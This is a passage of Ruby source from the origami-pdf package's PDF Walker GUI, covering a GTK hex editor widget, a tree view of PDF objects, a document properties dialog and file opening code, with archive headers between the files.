@cursor_pos - @vis_lines * @cpl].max) when Gdk::Keyval::GDK_Page_Down set_cursor([@cursor_pos + @vis_lines * @cpl, @data.size].min) when Gdk::Keyval::GDK_Left if @active_view == View::HEX if @selecting set_cursor(@cursor_pos - 1) else @lower_nibble ^= 1 set_cursor(@cursor_pos - 1) if @lower_nibble end else set_cursor(@cursor_pos - 1) end when Gdk::Keyval::GDK_Right if @active_view == View::HEX if @selecting set_cursor(@cursor_pos + 1) else @lower_nibble ^= 1 set_cursor(@cursor_pos + 1) unless @lower_nibble end else set_cursor(@cursor_pos + 1) end when Gdk::Keyval::GDK_c, Gdk::Keyval::GDK_C if event.state & Gdk::Window::CONTROL_MASK != 0 s,e = @selection.start, @selection.end + 1 if @active_view == View::HEX brk_len = 2 * @cpl + @cpl / @group_type format_xblock(s,e) (@disp_buffer.size / brk_len + 1).times do |i| @disp_buffer.insert(i * (brk_len + 1), $/) end else brk_len = @cpl format_ablock(s,e) end @@clipboard.set_text(@disp_buffer) end else ret = false end show_cursor ret end def hex_to_pointer(mx, my) cy = @top_line + my.to_i / @char_height cx = x = 0 while cx < 2 * @cpl x += @char_width if x > mx set_cursor_xy(cx / 2, cy) set_cursor_on_lower_nibble(cx % 2 != 0) cx = 2 * @cpl end cx += 1 x += @char_width if ( cx % (2 * @group_type) == 0 ) end end def ascii_to_pointer(mx, my) cx = mx / @char_width cy = @top_line + my / @char_height set_cursor_xy(cx, cy) end def load_font(fontname) desc = Pango::FontDescription.new(fontname) context = Gdk::Pango.context context.set_language(Gtk.default_language) font = context.load_font(desc) font.metrics(context.language) end def draw_shadow(area) bw = self.border_width x = bw xt = widget_get_xt if @show_offsets self.style.paint_shadow( self.window, Gtk::STATE_NORMAL, Gtk::SHADOW_IN, nil, self, nil, bw, bw, 8*@char_width + 2*xt, self.allocation.height - 2*bw ) x += 8*@char_width + 2*xt end self.style.paint_shadow( self.window, Gtk::STATE_NORMAL, Gtk::SHADOW_IN, nil, self, nil, x, bw, @xdisp_width + 2*xt, self.allocation.height - 2*bw ) self.style.paint_shadow( self.window, Gtk::STATE_NORMAL, Gtk::SHADOW_IN, nil, self, nil, self.allocation.width - bw - @adisp_width - @scrollbar.requisition[0] - 2*xt, bw, @adisp_width + 2*xt, self.allocation.height - 2*bw ) end def redraw_widget return unless self.realized? self.window.invalidate(nil, false) end def widget_get_xt self.style.xthickness end def widget_get_yt self.style.ythickness end def recalc_displays(width, height) old_cpl = @cpl w, h = @scrollbar.size_request @xdisp_width = 1 @adisp_width = 1 total_width = width - 2 * self.border_width - 4 * widget_get_xt - w total_width -= 2 * widget_get_xt + 8 * @char_width if @show_offsets total_cpl = total_width / @char_width if total_cpl == 0 or total_width < 0 @cpl = @lines = @vis_lines = 0 return end @cpl = 0 begin break if @cpl % @group_type == 0 and total_cpl < @group_type * 3 @cpl += 1 total_cpl -= 3 total_cpl -= 1 if @cpl % @group_type == 0 end while total_cpl > 0 return if @cpl == 0 if @data.empty? @lines = 1 else @lines = @data.size / @cpl @lines += 1 if @data.size % @cpl != 0 end @vis_lines = (height - 2*self.border_width - 2*widget_get_yt).to_i / @char_height.to_i @adisp_width = @cpl * @char_width + 1 xcpl = @cpl * 2 + (@cpl - 1) / @group_type @xdisp_width = xcpl * @char_width + 1 @disp_buffer = '' @adj.value = [@top_line * old_cpl / @cpl, @lines - @vis_lines].min @adj.value = [ 0, @adj.value ].max if @cursor_pos / @cpl < @adj.value or @cursor_pos / @cpl > @adj.value + @vis_lines - 1 @adj.value = [ @cursor_pos / @cpl, @lines - @vis_lines ].min @adj.value = [ 0, @adj.value ].max end @adj.lower = 0 @adj.upper = @lines @adj.step_increment = 1 @adj.page_increment = @vis_lines - 1 @adj.page_size = @vis_lines @adj.signal_emit 'changed' @adj.signal_emit 'value_changed' end def get_max_char_width(metrics) layout = self.create_pango_layout('') layout.set_font_description(@font_desc) char_widths = [ 0 ] (1..100).each do |i| logical_rect = Pango::Rectangle.new(0, 0, 0, 0) if is_displayable(i.chr) layout.set_text(i.chr) logical_rect = layout.pixel_extents[1] end char_widths << logical_rect.width end char_widths[48..122].max end def show_cursor unless @cursor_shown if @xdisp_gc and @adisp_gc and @xdisp.realized? and @adisp.realized? render_xc render_ac end @cursor_shown = true end end def hide_cursor if @cursor_shown if @xdisp_gc and @adisp_gc and @xdisp.realized? and @adisp.realized? render_byte(@cursor_pos) end @cursor_shown = false end end def show_offsets_widget @offsets = DrawingArea.new @offsets.modify_font @font_desc @olayout = @offsets.create_pango_layout('') @offsets.events = Gdk::Event::EXPOSURE_MASK @offsets.signal_connect 'expose_event' do |offsets, event| imin = (event.area.y / @char_height).to_i imax = ((event.area.y + event.area.height) / @char_height).to_i imax += 1 if (event.area.y + event.area.height).to_i % @char_height != 0 imax = [ imax, @vis_lines ].min render_offsets(imin, imax) end put @offsets, 0, 0 @offsets.show end def hide_offsets_widget if @offsets self.remove(@offsets) @offsets = @offsets_gc = nil end end def is_displayable(c) if RUBY_VERSION < '1.9' c = c[0] else c = c.ord end c >= 0x20 and c < 0x7f end def bytes_changed(s, e) start_line = s / @cpl - @top_line end_line = e / @cpl - @top_line return if end_line < 0 or start_line > @vis_lines start_line = [ 0, start_line ].max render_hex_lines(start_line, end_line) render_ascii_lines(start_line, end_line) render_offsets(start_line, end_line) if @show_offsets end def render_hex_highlights(cursor_line) xcpl = @cpl * 2 + @cpl / @group_type @highlights.each do |hl| next if (hl.start - hl.end).abs < hl.min_select validate_highlight(hl) s, e = [ hl.start, hl.end ].sort sl, el = hl.start_line, hl.end_line hl.style.attach(@xdisp.window) if hl.style state = (@active_view == View::HEX) ? Gtk::STATE_SELECTED : Gtk::STATE_INSENSITIVE if cursor_line == sl cursor_off = 2 * (s % @cpl) + (s % @cpl) / @group_type if cursor_line == el len = 2 * (e % @cpl + 1) + (e % @cpl) / @group_type else len = xcpl end len -= cursor_off (hl.style || self.style).paint_flat_box( @xdisp.window, state, Gtk::SHADOW_NONE, nil, @xdisp, '', cursor_off * @char_width, cursor_line * @char_height, len * @char_width, @char_height ) if len > 0 elsif cursor_line == el cursor_off = 2 * (e % @cpl + 1) + (e % @cpl) / @group_type (hl.style || self.style).paint_flat_box( @xdisp.window, state, Gtk::SHADOW_NONE, nil, @xdisp, '', 0, cursor_line * @char_height, cursor_off * @char_width, @char_height ) if cursor_off > 0 elsif cursor_line > sl and cursor_line < el (hl.style || self.style).paint_flat_box( @xdisp.window, state, Gtk::SHADOW_NONE, nil, @xdisp, '', 0, cursor_line * @char_height, xcpl * @char_width, @char_height ) end hl.style.attach(@adisp.window) if hl.style end end def render_hex_lines(imin, imax) return unless self.realized? and @cpl != 0 cursor_line = @cursor_pos / @cpl - @top_line @xdisp_gc.set_foreground(self.style.base(Gtk::STATE_NORMAL)) @xdisp.window.draw_rectangle( @xdisp_gc, true, 0, imin * @char_height, @xdisp.allocation.width, (imax - imin + 1) * @char_height ) imax = [ imax, @vis_lines, @lines ].min @xdisp_gc.set_foreground(self.style.text(Gtk::STATE_NORMAL)) frm_len = format_xblock((@top_line+imin) * @cpl, [(@top_line+imax+1) * @cpl, @data.size].min) tmp = nil xcpl = @cpl*2 + @cpl/@group_type (imin..imax).each do |i| return unless (tmp = frm_len - ((i - imin) * xcpl)) > 0 render_hex_highlights(i) text = @disp_buffer[(i-imin) * xcpl, [xcpl, tmp].min] @xlayout.set_text(text) @xdisp.window.draw_layout(@xdisp_gc, 0, i * @char_height, @xlayout) end render_xc if cursor_line >= imin and cursor_line <= imax and @cursor_shown end def render_ascii_highlights(cursor_line) @highlights.each do |hl| next if (hl.start - hl.end).abs < hl.min_select validate_highlight(hl) s, e = [ hl.start, hl.end ].sort sl, el = hl.start_line, hl.end_line hl.style.attach(@adisp.window) if hl.style state = (@active_view == View::ASCII) ? Gtk::STATE_SELECTED : Gtk::STATE_INSENSITIVE if cursor_line == sl cursor_off = s % @cpl len = if cursor_line == el e - s + 1 else @cpl - cursor_off end (hl.style || self.style).paint_flat_box( @adisp.window, state, Gtk::SHADOW_NONE, nil, @adisp, '', cursor_off * @char_width, cursor_line * @char_height, len * @char_width, @char_height ) if len > 0 elsif cursor_line == el cursor_off = e % @cpl + 1 (hl.style || self.style).paint_flat_box( @adisp.window, state, Gtk::SHADOW_NONE, nil, @adisp, '', 0, cursor_line * @char_height, cursor_off * @char_width, @char_height ) if cursor_off > 0 elsif cursor_line > sl and cursor_line < el (hl.style || self.style).paint_flat_box( @adisp.window, state, Gtk::SHADOW_NONE, nil, @adisp, '', 0, cursor_line * @char_height, @cpl * @char_width, @char_height ) end hl.style.attach(@adisp.window) if hl.style end end def render_ascii_lines(imin, imax) return unless self.realized? and @cpl != 0 cursor_line = @cursor_pos / @cpl - @top_line @adisp_gc.set_foreground(self.style.base(Gtk::STATE_NORMAL)) @adisp.window.draw_rectangle( @adisp_gc, true, 0, imin * @char_height, @adisp.allocation.width, (imax - imin + 1) * @char_height ) imax = [ imax, @vis_lines, @lines ].min @adisp_gc.set_foreground(self.style.text(Gtk::STATE_NORMAL)) frm_len = format_ablock((@top_line+imin) * @cpl, [(@top_line+imax+1) * @cpl, @data.size].min) tmp = nil (imin..imax).each do |i| return unless (tmp = frm_len - ((i - imin) * @cpl)) > 0 render_ascii_highlights(i) text = @disp_buffer[(i-imin) * @cpl, [@cpl, tmp].min] @alayout.set_text(text) @adisp.window.draw_layout(@adisp_gc, 0, i * @char_height, @alayout) end render_ac if cursor_line >= imin and cursor_line <= imax and @cursor_shown end def render_offsets(imin, imax) return unless self.realized? unless @offsets_gc @offsets_gc = Gdk::GC.new(@offsets.window) @offsets_gc.set_exposures(true) end @offsets_gc.set_foreground(self.style.base(Gtk::STATE_INSENSITIVE)) @offsets.window.draw_rectangle( @offsets_gc, true, 0, imin * @char_height, @offsets.allocation.width, (imax - imin + 1) * @char_height ) imax = [ imax, @vis_lines, @lines - @top_line - 1 ].min @offsets_gc.set_foreground(self.style.text(Gtk::STATE_NORMAL)) (imin..imax).each do |i| text = "%08x" % ((@top_line + i) * @cpl + @starting_offset) @olayout.set_text(text) @offsets.window.draw_layout(@offsets_gc, 0, i * @char_height, @olayout) end end def render_byte(pos) return unless @xdisp_gc and @adisp_gc and @xdisp.realized? and @adisp.realized? return unless (coords = get_xcoords(pos)) cx, cy = coords c = format_xbyte(pos) @xdisp_gc.set_foreground(self.style.base(Gtk::STATE_NORMAL)) @xdisp.window.draw_rectangle( @xdisp_gc, true, cx, cy, 2 * @char_width, @char_height ) if pos < @data.size @xdisp_gc.set_foreground(self.style.text(Gtk::STATE_NORMAL)) @xlayout.set_text(c) @xdisp.window.draw_layout(@xdisp_gc, cx, cy, @xlayout) end return unless (coords = get_acoords(pos)) cx, cy = coords @adisp_gc.set_foreground(self.style.base(Gtk::STATE_NORMAL)) @adisp.window.draw_rectangle( @adisp_gc, true, cx, cy, @char_width, @char_height ) if pos < @data.size @adisp_gc.set_foreground(self.style.text(Gtk::STATE_NORMAL)) c = get_byte(pos) c = '.' unless is_displayable(c) @alayout.set_text(c) @adisp.window.draw_layout(@adisp_gc, cx, cy, @alayout) end end def render_xc return unless @xdisp.realized? if coords = get_xcoords(@cursor_pos) cx, cy = coords c = format_xbyte(@cursor_pos) if @lower_nibble cx += @char_width c = c[1,1] else c = c[0,1] end @xdisp_gc.set_foreground(self.style.base(Gtk::STATE_ACTIVE)) @xdisp.window.draw_rectangle( @xdisp_gc, (@active_view == View::HEX), cx, cy, @char_width, @char_height - 1 ) @xdisp_gc.set_foreground(self.style.text(Gtk::STATE_ACTIVE)) @xlayout.set_text(c) @xdisp.window.draw_layout(@xdisp_gc, cx, cy, @xlayout) end end def render_ac return unless @adisp.realized? if coords = get_acoords(@cursor_pos) cx, cy = coords c = get_byte(@cursor_pos) c = '.' unless is_displayable(c) @adisp_gc.set_foreground(self.style.base(Gtk::STATE_ACTIVE)) @adisp.window.draw_rectangle( @adisp_gc, (@active_view == View::ASCII), cx, cy, @char_width, @char_height - 1 ) @adisp_gc.set_foreground(self.style.text(Gtk::STATE_ACTIVE)) @alayout.set_text(c) @adisp.window.draw_layout(@adisp_gc, cx, cy, @alayout) end end def get_xcoords(pos) return nil if @cpl == 0 cy = pos / @cpl - @top_line return nil if cy < 0 cx = 2 * (pos % @cpl) spaces = (pos % @cpl) / @group_type cx *= @char_width cy *= @char_height spaces *= @char_width [cx + spaces, cy] end def get_acoords(pos) return nil if @cpl == 0 cy = pos / @cpl - @top_line return nil if cy < 0 cy *= @char_height cx = @char_width * (pos % @cpl) [cx, cy] end def format_xblock(s, e) @disp_buffer = '' (s+1..e).each do |i| @disp_buffer << get_byte(i - 1).unpack('H2')[0] @disp_buffer << ' ' if i % @group_type == 0 end @disp_buffer.size end def format_ablock(s, e) @disp_buffer = '' (s..e-1).each do |i| c = get_byte(i) c = '.' unless is_displayable(c) @disp_buffer << c end @disp_buffer.size end def get_byte(offset) if offset >= 0 and offset < @data.size @data[offset, 1] else 0.chr end end def format_xbyte(pos) get_byte(pos).unpack('H2')[0] end end end __END__ hexedit = Gtk::HexEditor.new(File.read '/bin/cat') hexedit.show_offsets(true) hexedit.set_cursor 2 hexedit.set_cursor_on_lower_nibble true hexedit.set_font 'Terminus 12' hexedit.set_group_type Gtk::HexEditor::Group::LONG window = Gtk::Window.new window.add(hexedit) window.show_all Gtk.main origami-pdf-1.2.7/bin/gui/treeview.rb0000644000175000017500000003011312130767505017650 0ustar terceiroterceiro=begin = File treeview.rb = Info This file is part of PDF Walker, a graphical PDF file browser Copyright (C) 2010 Guillaume Delugré All right reserved. PDF Walker is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. PDF Walker is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with PDF Walker. If not, see . =end module PDFWalker class Walker < Window private def create_treeview @treeview = PDFTree.new(self).set_headers_visible(false) colcontent = Gtk::TreeViewColumn.new("Names", Gtk::CellRendererText.new.set_foreground_set(true).set_background_set(true), :text => PDFTree::TEXTCOL, :weight => PDFTree::WEIGHTCOL, :style => PDFTree::STYLECOL, :foreground => PDFTree::FGCOL, :background => PDFTree::BGCOL ) @treeview.append_column(colcontent) end end class PDFTree < TreeView include Popable OBJCOL = 0 TEXTCOL = 1 WEIGHTCOL = 2 STYLECOL = 3 FGCOL = 4 BGCOL = 5 @@appearance = Hash.new(:Weight => Pango::WEIGHT_NORMAL, :Style => Pango::STYLE_NORMAL) attr_reader :parent def initialize(parent) @parent = parent reset_appearance @treestore = TreeStore.new(Object::Object, String, Pango::FontDescription::Weight, Pango::FontDescription::Style, String, String) super(@treestore) signal_connect('cursor-changed') { iter = selection.selected if iter obj = @treestore.get_value(iter, OBJCOL) if obj.is_a?(Stream) and iter.n_children == 1 # Processing with an XRef or Object Stream if obj.is_a?(ObjectStream) obj.each { |embeddedobj| load_object(iter, embeddedobj) } elsif obj.is_a?(XRefStream) obj.each { |xref| load_xrefstm(iter, xref) } end end parent.hexview.load(obj) parent.objectview.load(obj) end } signal_connect('row-activated') { |tree, path, column| if selection.selected obj = @treestore.get_value(selection.selected, OBJCOL) if row_expanded?(path) collapse_row(path) else expand_row(path, false) end goto(obj) if obj.is_a?(Origami::Reference) end } add_events(Gdk::Event::BUTTON_PRESS_MASK) signal_connect('button_press_event') { |widget, event| if event.button == 3 && parent.opened path = get_path(event.x,event.y).first set_cursor(path, nil, false) obj = @treestore.get_value(@treestore.get_iter(path), OBJCOL) popup_menu(obj, event, path) end } end def clear @treestore.clear end def goto(obj) if obj.is_a?(TreePath) set_cursor(obj, nil, false) else if obj.is_a?(Name) and obj.parent.is_a?(Dictionary) and obj.parent.has_key?(obj) obj = obj.parent[obj] elsif obj.is_a?(Reference) obj = begin obj.solve rescue InvalidReferenceError @parent.error("Object not found : #{obj}") return end end @treestore.each { |model, path, iter| current_obj = @treestore.get_value(iter, OBJCOL) if current_obj.is_a?(ObjectStream) and obj.parent.equal?(current_obj) current_obj.each { |embeddedobj| load_object(iter, embeddedobj) } next end if obj.equal?(current_obj) expand_to_path(path) unless row_expanded?(path) if cursor.first then @parent.explorer_history << cursor.first end set_cursor(path, nil, false) return end } @parent.error("Object not found : #{obj}") end end def highlight(obj, color) if obj.is_a?(Name) and obj.parent.is_a?(Dictionary) and obj.parent.has_key?(obj) obj = obj.parent[obj] end @treestore.each { |model, path, iter| current_obj = @treestore.get_value(iter, OBJCOL) if obj.equal?(current_obj) @treestore.set_value(iter, BGCOL, color) expand_to_path(path) unless row_expanded?(path) return end } @parent.error("Object not found : #{obj}") end def load(pdf) if pdf self.clear begin # # Create root entry # root = @treestore.append(nil) @treestore.set_value(root, OBJCOL, pdf) set_node(root, :Filename, @parent.filename) # # Create header entry # header = @treestore.append(root) @treestore.set_value(header, OBJCOL, pdf.header) set_node(header, :Header, "Header (version #{pdf.header.majorversion}.#{pdf.header.minorversion})") no = 1 pdf.revisions.each { |revision| load_revision(root, no, revision) no = no + 1 } set_model(@treestore) ensure expand(@treestore.iter_first, 3) set_cursor(@treestore.iter_first.path, nil, false) end end end private def expand(row, depth) if row and depth != 0 loop do expand_row(row.path, false) expand(row.first_child, depth - 1) break if not row.next! end end end def load_revision(root, no, revision) revroot = @treestore.append(root) @treestore.set_value(revroot, OBJCOL, revision) set_node(revroot, :Revision, "Revision #{no}") load_body(revroot, revision.body.values) load_xrefs(revroot, revision.xreftable) load_trailer(revroot, revision.trailer) end def load_body(rev, body) bodyroot = @treestore.append(rev) @treestore.set_value(bodyroot, OBJCOL, body) set_node(bodyroot, :Body, "Body") body.sort_by{|obj| obj.file_offset}.each { |object| begin load_object(bodyroot, object) rescue Exception => e msg = "#{e.class}: #{e.message}\n#{e.backtrace.join("\n")}" #@parent.error(msg) next end } end def load_object(container, object, name = nil) obj = @treestore.append(container) @treestore.set_value(obj, OBJCOL, object) type = object.native_type.to_s.split('::').last.to_sym if name.nil? name = case object when Origami::String '"' + object.to_utf8 + '"' when Origami::Number, Name object.value.to_s else object.type.to_s end end set_node(obj, type, name) if object.is_a? Origami::Array object.each { |subobject| load_object(obj, subobject) } elsif object.is_a? Origami::Dictionary object.each_key { |subkey| load_object(obj, object[subkey.value], subkey.value.to_s) } elsif object.is_a? Origami::Stream load_object(obj, object.dictionary, "Stream Dictionary") end end def load_xrefstm(stm, embxref) xref = @treestore.append(stm) @treestore.set_value(xref, OBJCOL, embxref) if embxref.is_a?(XRef) set_node(xref, :XRef, embxref.to_s.chomp) else set_node(xref, :XRef, "xref to ObjectStream #{embxref.objstmno}, object index #{embxref.index}") end end def load_xrefs(rev, table) if table section = @treestore.append(rev) @treestore.set_value(section, OBJCOL, table) set_node(section, :XRefSection, "XRef section") table.each { |subtable| subsection = @treestore.append(section) @treestore.set_value(subsection, OBJCOL, subtable) set_node(subsection, :XRefSubSection, "#{subtable.range.begin} #{subtable.range.end - subtable.range.begin + 1}") subtable.each { |entry| xref = @treestore.append(subsection) @treestore.set_value(xref, OBJCOL, entry) set_node(xref, :XRef, entry.to_s.chomp) } } end end def load_trailer(rev, trailer) trailerroot = @treestore.append(rev) @treestore.set_value(trailerroot, OBJCOL, trailer) set_node(trailerroot, :Trailer, "Trailer") unless trailer.dictionary.nil? load_object(trailerroot, trailer.dictionary) end end def reset_appearance @@appearance[:Filename] = {:Weight => Pango::WEIGHT_BOLD, :Style => Pango::STYLE_NORMAL} @@appearance[:Header] = {:Color => "darkgreen", :Weight => Pango::WEIGHT_BOLD, :Style => Pango::STYLE_NORMAL} @@appearance[:Revision] = {:Color => "blue", :Weight => Pango::WEIGHT_BOLD, :Style => Pango::STYLE_NORMAL} @@appearance[:Body] = {:Color => "purple", :Weight => Pango::WEIGHT_BOLD, :Style => Pango::STYLE_NORMAL} @@appearance[:XRefSection] = {:Color => "purple", :Weight => Pango::WEIGHT_BOLD, :Style => Pango::STYLE_NORMAL} @@appearance[:XRefSubSection] = {:Color => "brown", :Weight => Pango::WEIGHT_BOLD, :Style => Pango::STYLE_NORMAL} @@appearance[:XRef] = {:Color => "gray20", :Weight => Pango::WEIGHT_BOLD, :Style => Pango::STYLE_NORMAL} @@appearance[:Trailer] = {:Color => "purple", :Weight => Pango::WEIGHT_BOLD, :Style => Pango::STYLE_NORMAL} @@appearance[:StartXref] = {:Weight => Pango::WEIGHT_BOLD, :Style => Pango::STYLE_NORMAL} @@appearance[:String] = {:Color => "red", :Weight => Pango::WEIGHT_NORMAL, :Style => Pango::STYLE_ITALIC} @@appearance[:Name] = {:Color => "gray", :Weight => Pango::WEIGHT_NORMAL, :Style => Pango::STYLE_ITALIC} @@appearance[:Number] = {:Color => "orange", :Weight => Pango::WEIGHT_NORMAL, :Style => Pango::STYLE_NORMAL} @@appearance[:Dictionary] = {:Color => "brown", :Weight => Pango::WEIGHT_BOLD, :Style => Pango::STYLE_NORMAL} @@appearance[:Stream] = {:Color => "darkcyan", :Weight => Pango::WEIGHT_BOLD, :Style => Pango::STYLE_NORMAL} @@appearance[:StreamData] = {:Color => "darkcyan", :Weight => Pango::WEIGHT_NORMAL, :Style => Pango::STYLE_OBLIQUE} @@appearance[:Array] = {:Color => "darkgreen", :Weight => Pango::WEIGHT_BOLD, :Style => Pango::STYLE_NORMAL} @@appearance[:Reference] = {:Weight => Pango::WEIGHT_NORMAL, :Style => Pango::STYLE_OBLIQUE} @@appearance[:Boolean] = {:Color => "deeppink", :Weight => Pango::WEIGHT_NORMAL, :Style => Pango::STYLE_NORMAL} end def get_object_appearance(type) @@appearance[type] end def set_node(node, type, text) @treestore.set_value(node, TEXTCOL, text) app = get_object_appearance(type) @treestore.set_value(node, WEIGHTCOL, app[:Weight]) @treestore.set_value(node, STYLECOL, app[:Style]) @treestore.set_value(node, FGCOL, app[:Color]) end end end origami-pdf-1.2.7/bin/gui/properties.rb0000644000175000017500000001121412101464040020175 0ustar terceiroterceiro=begin = File properties.rb = Info This file is part of PDF Walker, a graphical PDF file browser Copyright (C) 2010 Guillaume Delugré All right reserved. PDF Walker is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. PDF Walker is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with PDF Walker. If not, see . =end require 'digest/md5' module PDFWalker class Walker < Window def display_file_properties if @opened prop = Properties.new(self, @opened) end end class Properties < Dialog @@acrobat_versions = { 1.0 => "1.x", 1.1 => "2.x", 1.2 => "3.x", 1.3 => "4.x", 1.4 => "5.x", 1.5 => "6.x", 1.6 => "7.x", 1.7 => "8.x / 9.x / 10.x" } def initialize(parent, pdf) super("Document properties", parent, Dialog::MODAL, [Stock::CLOSE, Dialog::RESPONSE_NONE]) docframe = Frame.new(" File properties ") stat = File.stat(parent.filename) if RUBY_VERSION < '1.9' require 'iconv' i = Iconv.new("UTF-8//IGNORE//TRANSLIT", "ISO-8859-1") creation_date = i.iconv(stat.ctime.to_s) last_modified = i.iconv(stat.mtime.to_s) fd = File.open(parent.filename, 'rb') md5sum = Digest::MD5.hexdigest(fd.read) fd.close i.close else creation_date = stat.ctime.to_s.encode("utf-8", :invalid => :replace, :undef => :replace) last_modified = stat.mtime.to_s.encode("utf-8", :invalid => :replace, :undef => :replace) md5sum = Digest::MD5.hexdigest(File.binread(parent.filename)) end labels = [ [ "Filename:", parent.filename ], [ "File size:", "#{File.size(parent.filename)} bytes" ], [ "MD5:", md5sum ], [ "Read-only:", "#{not stat.writable?}" ], [ "Creation date:", creation_date ], [ "Last modified:", last_modified ] ] doctable = Table.new(labels.size + 1, 3) row = 0 labels.each do |name, value| doctable.attach(Label.new(name).set_alignment(1,0), 0, 1, row, row + 1, Gtk::EXPAND | Gtk::FILL, Gtk::SHRINK, 4, 4) doctable.attach(Label.new(value).set_alignment(0,0), 1, 2, row, row + 1, Gtk::EXPAND | Gtk::FILL, Gtk::SHRINK, 4, 4) row = row.succ end docframe.border_width = 5 docframe.shadow_type = Gtk::SHADOW_IN docframe.add(doctable) pdfframe = Frame.new(" PDF properties ") labels = [ [ "Version:", "#{pdf.header.to_f} (Acrobat #{ if pdf.header.to_f >= 1.0 and pdf.header.to_f <= 1.7 then @@acrobat_versions[pdf.header.to_f] else "unknown version" end})" ], [ "Number of revisions:", "#{pdf.revisions.size}" ], [ "Number of indirect objects:", "#{pdf.indirect_objects.size}" ], [ "Number of pages:", "#{pdf.pages.size}" ], [ "Is linearized:", "#{pdf.is_linearized?}" ], [ "Is encrypted:", "#{pdf.is_encrypted?}" ], [ "Is signed:", "#{pdf.is_signed?}" ], [ "Has usage rights:", "#{pdf.has_usage_rights?}"], [ "Contains Acroform:", "#{pdf.has_form?}" ], #[ "Contains XFA forms:", "#{pdf.has_xfa_forms?}" ] [ "Has document information:", "#{pdf.has_document_info?}" ], [ "Has metadata:", "#{pdf.has_metadata?}" ] ] pdftable = Table.new(labels.size + 1, 3) row = 0 labels.each do |name, value| pdftable.attach(Label.new(name).set_alignment(1,0), 0, 1, row, row + 1, Gtk::FILL, Gtk::SHRINK, 4, 4) pdftable.attach(Label.new(value).set_alignment(0,0), 1, 2, row, row + 1, Gtk::EXPAND | Gtk::FILL, Gtk::SHRINK, 4, 4) row = row.succ end pdfframe.border_width = 5 pdfframe.shadow_type = Gtk::SHADOW_IN pdfframe.add(pdftable) vbox.add(docframe) vbox.add(pdfframe) signal_connect('response') { destroy } show_all end end end end origami-pdf-1.2.7/bin/gui/file.rb0000644000175000017500000002654512101464040016735 0ustar terceiroterceiro=begin = File file.rb = Info This file is part of PDF Walker, a graphical PDF file browser Copyright (C) 2010 Guillaume Delugr All right reserved. PDF Walker is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. PDF Walker is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with PDF Walker. If not, see . =end require 'origami' include Origami module PDFWalker class Walker < Window attr_reader :opened attr_reader :explore_history def close @opened = nil @filename = '' @explorer_history.clear @treeview.clear @objectview.clear @hexview.clear [ @file_menu_close, @file_menu_saveas, @file_menu_serialize, @file_menu_refresh, @document_menu_search, @document_menu_gotocatalog, @document_menu_gotopage, @document_menu_gotorev, @document_menu_gotoobj, @document_menu_properties, @document_menu_sign, @document_menu_ur ].each do |menu| menu.sensitive = false end @statusbar.pop(@main_context) GC.start end def open(filename = nil) dialog = Gtk::FileChooserDialog.new("Open PDF File", self, FileChooser::ACTION_OPEN, nil, [Stock::CANCEL, Dialog::RESPONSE_CANCEL], [Stock::OPEN, Dialog::RESPONSE_ACCEPT]) last_file = @config.recent_files.first unless last_file.nil? last_folder = last_file[0..last_file.size - File.basename(last_file).size - 1] dialog.set_current_folder(last_folder) if File.directory?(last_folder) end dialog.filter = FileFilter.new.add_pattern("*.acrodata").add_pattern("*.pdf").add_pattern("*.fdf") if filename or dialog.run == Gtk::Dialog::RESPONSE_ACCEPT create_progressbar filename ||= dialog.filename dialog.destroy begin if @help_menu_profile.active? require 'ruby-prof' RubyProf.start end target = parsefile(filename) if @help_menu_profile.active? result = RubyProf.stop txtprinter = RubyProf::FlatPrinter.new(result) htmlprinter = RubyProf::GraphHtmlPrinter.new(result) txtprinter.print(File.new("#{@config.profile_output_dir}/#{File.basename(filename)}.log", "w")) htmlprinter.print(File.new("#{@config.profile_output_dir}/#{File.basename(filename)}.log.html", "w")) end if target close if @opened @opened = target @filename = filename @config.last_opened_file(filename) @config.save update_recent_menu @last_search_result = [] @last_search = { :expr => "", :regexp => false, :type => :body } self.reload [ @file_menu_close, @file_menu_saveas, @file_menu_serialize, @file_menu_refresh, @document_menu_search, @document_menu_gotocatalog, @document_menu_gotopage, @document_menu_gotorev, @document_menu_gotoobj, @document_menu_properties, @document_menu_sign, @document_menu_ur ].each do |menu| menu.sensitive = true end @explorer_history.clear @statusbar.push(@main_context, "Viewing #{filename}") if @opened.is_a?(PDF) pagemenu = Menu.new @document_menu_gotopage.remove_submenu page_index = 1 @opened.pages.each do |page| pagemenu.append(item = MenuItem.new(page_index.to_s).show) item.signal_connect("activate") do @treeview.goto(page) end page_index = page_index + 1 end @document_menu_gotopage.set_submenu(pagemenu) revmenu = Menu.new @document_menu_gotorev.remove_submenu rev_index = 1 @opened.revisions.each do |rev| revmenu.append(item = MenuItem.new(rev_index.to_s).show) item.signal_connect("activate") do @treeview.goto(rev) end rev_index = rev_index + 1 end @document_menu_gotorev.set_submenu(revmenu) goto_catalog end end rescue Exception => e error("Error while parsing file.\n#{e} (#{e.class})\n" + e.backtrace.join("\n")) end close_progressbar self.activate_focus else dialog.destroy end end def deserialize dialog = Gtk::FileChooserDialog.new("Open dump file", self, FileChooser::ACTION_OPEN, nil, [Stock::CANCEL, Dialog::RESPONSE_CANCEL], [Stock::OPEN, Dialog::RESPONSE_ACCEPT]) dialog.current_folder = "#{Dir.pwd}/dumps" dialog.filter = FileFilter.new.add_pattern("*.gz") if dialog.run == Gtk::Dialog::RESPONSE_ACCEPT if @opened then close end filename = dialog.filename begin @opened = PDF.deserialize(filename) self.reload [ @file_menu_close, @file_menu_saveas, @file_menu_serialize, @file_menu_refresh, @document_menu_properties, @document_menu_sign, @document_menu_ur ].each do |menu| menu.sensitive = true end @explorer_history.clear @statusbar.push(@main_context, "Viewing dump of #{filename}") rescue Exception => e error("This file cannot be 